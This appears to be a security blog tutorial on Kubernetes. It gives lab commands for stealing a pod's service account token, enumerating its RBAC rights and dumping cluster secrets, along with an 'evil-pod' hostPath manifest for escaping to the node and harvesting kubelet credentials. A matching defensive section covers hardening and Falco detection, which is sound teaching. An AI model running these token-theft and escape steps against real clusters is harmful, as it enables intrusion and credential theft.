Kubernetes Security 101: From kubectl to RBAC and Token Theft

Tools & Defense
Time it takes to read this article 6 minutes.

Disclaimer: This article is for education and authorized testing only. Run these techniques only against clusters you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in most jurisdictions. Build a throwaway lab — do not point any of these tools at production infrastructure you do not control.

Introduction

Kubernetes is now the default control plane for most cloud-native workloads, and that makes it a high-value target. A single misconfigured RoleBinding or an over-privileged pod can hand an attacker the keys to the entire cluster. In this article you'll learn the core security primitives every pentester and defender needs: how kubectl talks to the API server, how RBAC decides who can do what, how a service account token mounted inside a pod can be abused, and how to scan a cluster with kube-hunter. We finish with an equally weighted Blue Team section.

If you're coming from Active Directory tradecraft, you'll recognize the pattern: enumerate identity, find a token, and pivot through authorization gaps — see Kerberoasting: A Complete Guide for the on-prem analogue.

How It Works / Background

Every request to a Kubernetes cluster goes to the API server (kube-apiserver). The request passes through three gates:

  1. Authentication — who are you? (client cert, bearer token, OIDC, etc.)
  2. Authorization — are you allowed? (RBAC is the default authorizer.)
  3. Admission control — should this specific object be allowed? (e.g., Pod Security Admission, OPA Gatekeeper.)

kubectl is just an HTTPS client that reads ~/.kube/config and sends JSON to the API server. RBAC ties subjects (users, groups, service accounts) to verbs (get, list, create, delete, …) on resources (pods, secrets, …) via Role/ClusterRole and RoleBinding/ClusterRoleBinding.

The interesting part for attackers: every pod, by default historically, gets a service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. That JWT is the pod's identity to the API server. If you get code execution in a pod, you inherit its service account — and whatever RBAC grants it.

Prerequisites / Lab Setup

Spin up a local cluster with kind (Kubernetes in Docker) or minikube:

# Install a disposable cluster
kind create cluster --name sec-lab

# Confirm kubectl can reach it
kubectl cluster-info
kubectl get nodes

# Install kube-hunter (Python)
pip install kube-hunter
# or run it in-cluster as a pod (more on this below)
Bash

Create a deliberately over-privileged service account so we have something to attack:

kubectl create serviceaccount victim-sa
kubectl create clusterrolebinding victim-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=default:victim-sa
Bash

Attack Walkthrough / PoC

1. Recon from inside a pod

Assume you've landed in a pod (RCE in an app, a malicious image, etc.). First, read the mounted service account material:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc

# Who am I, according to the cluster?
curl -s --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authentication.k8s.io/v1/selfsubjectreviews
Bash

2. Enumerate your own permissions

The single most useful command — ask the API server what your identity can do:

# Run this as the victim service account
kubectl auth can-i --list \
  --token="$TOKEN" --server="$APISERVER" --certificate-authority="$CACERT"

# Targeted checks
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
Bash

If you see * verbs on * resources, the service account is effectively cluster-admin and you've already won.

3. Dump secrets

Cluster-wide secret read is the classic loot:

kubectl get secrets --all-namespaces -o json \
  | jq -r '.items[] | .metadata.namespace + "/" + .metadata.name'

# Decode a specific secret
kubectl get secret db-creds -o jsonpath='{.data.password}' | base64 -d
Bash

4. Pivot via pod creation

Even without cluster-admin, the right to create pods is often enough. Mount the host filesystem to escape the container boundary and read node-level credentials (including other service account tokens and the kubelet's kubeconfig):

# evil-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: pwn
spec:
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
YAML
kubectl apply -f evil-pod.yaml
kubectl exec -it pwn -- chroot /host /bin/sh
# Now you're on the node; harvest /var/lib/kubelet, /etc/kubernetes, tokens, etc.
Bash

5. Scan the cluster with kube-hunter

kube-hunter probes for exposed ports and known weaknesses. The --active flag adds intrusive checks (only in your lab):

# Remote scan against a node/CIDR
kube-hunter --remote 10.0.0.10

# Active hunting (exploits some findings)
kube-hunter --remote 10.0.0.10 --active

# Run it from inside the cluster as a pod for the attacker's eye view
kubectl run kube-hunter --image=aquasec/kube-hunter \
  --restart=Never -- --pod
Bash

It flags issues like an unauthenticated kubelet read-write API on port 10250, an exposed /metrics, anonymous API server access, and accessible service account tokens.

Auth & Attack Flow

Kubernetes Security 101: From kubectl to RBAC and Token Theft diagram 1

Text fallback: a compromised pod reads its service account token, enumerates its RBAC permissions, then either loots secrets directly or creates a host-mounting pod to escape onto the node and escalate to cluster-admin.

Detection & Defense (Blue Team)

Defense gets equal weight here — most of these attacks die against a single good control.

1. Don't auto-mount tokens you don't need. Set automountServiceAccountToken: false on service accounts and pods that never call the API:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-sa
automountServiceAccountToken: false
YAML

2. Least-privilege RBAC. Never bind cluster-admin to workload service accounts. Audit bindings regularly:

# Find anything bound to cluster-admin
kubectl get clusterrolebindings -o json \
  | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name'

# Review what a subject can do
kubectl auth can-i --list --as=system:serviceaccount:default:victim-sa
Bash

Use tools like rbac-tool (insightcloudsec) or kubectl-who-can (Aqua) to map verbs back to subjects.

3. Enforce Pod Security. Apply the built-in Pod Security Admission at restricted level to block hostPath, privileged containers, and host namespaces:

kubectl label namespace prod \
  pod-security.kubernetes.io/enforce=restricted
Bash

4. Lock down the kubelet. Disable anonymous auth and the read-only port (--anonymous-auth=false, --read-only-port=0), and require authorization mode Webhook. This kills the port 10250 / 10255 findings kube-hunter reports.

5. Audit logging & runtime detection. Enable the API server audit log and alert on suspicious verbs. With Falco, the default ruleset flags container-to-host escapes and token access:

# Falco managed rule (shipped by default)
- rule: Contact K8S API Server From Container
  desc: Detect attempts to contact the K8s API Server from a container
  condition: >
    evt.type=connect and evt.dir=< and
    (fd.sip="10.96.0.1") and container and
    not k8s_containers
  output: Unexpected connection to K8s API Server (command=%proc.cmdline)
  priority: NOTICE
YAML

Map detections to MITRE ATT&CK for Containers: T1610 (Deploy Container), T1613 (Container and Resource Discovery), T1552.007 (Container API / cloud credentials), and T1611 (Escape to Host).

6. Network policy & admission control. Use NetworkPolicy to prevent pods from reaching the API server or kubelet unless required, and OPA Gatekeeper / Kyverno to reject pods that mount hostPath or run as root.

If you're correlating this with cloud IAM pivots after a cluster compromise, my write-up on Cloud Metadata SSRF to IAM Takeover covers the next hop, and Container Escape Techniques goes deeper on step 4.

Conclusion

Kubernetes security comes down to identity and authorization. An attacker who lands in a pod will read its service account token, run kubectl auth can-i --list, and pivot through whatever RBAC sloppiness exists — often straight to hostPath and the node. The defenses are equally direct: stop auto-mounting tokens, apply least-privilege RBAC, enforce Pod Security at restricted, lock down the kubelet, and turn on audit logging plus Falco. Run kube-hunter against your own clusters before someone else does.

References

Comments

Copied title and URL